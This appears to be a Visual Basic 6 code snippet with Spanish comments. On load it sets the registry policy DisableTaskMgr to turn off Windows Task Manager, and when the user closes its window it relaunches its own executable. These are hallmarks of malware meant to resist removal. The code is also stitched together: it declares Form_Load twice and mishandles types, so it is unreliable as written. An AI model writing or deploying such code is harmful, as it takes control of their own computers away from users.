Const REG_DWORD = 4  
Const HKEY_CURRENT_USER = &H80000001

'Declaraciones
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Long, ByVal cbData As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
   
 Dim Ret

    RegCreateKey hKey, strPath, Ret
    RegSetValueExLong Ret, strValue, 0&, REG_DWORD, CByte(strData), 4&
    RegCloseKey Ret

End Sub

Private Sub Form_Load()
'Dale valor 1 para habilitar, 0 para deshabilitar
strString = "1"
SaveStringLong HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", CByte(strString)
End Sub
 

Private Sub Command1_Click()
End
End Sub

Private Sub Form_Load()
End Sub


Private Sub Form_Unload(Cancel As Integer)
Dim ruta As String  'Lanza el programa de nuevo
ruta = App.Path & "\" & App.EXEName & ".exe"
Shell ruta
End 'Cierra el programa finalmente
End Sub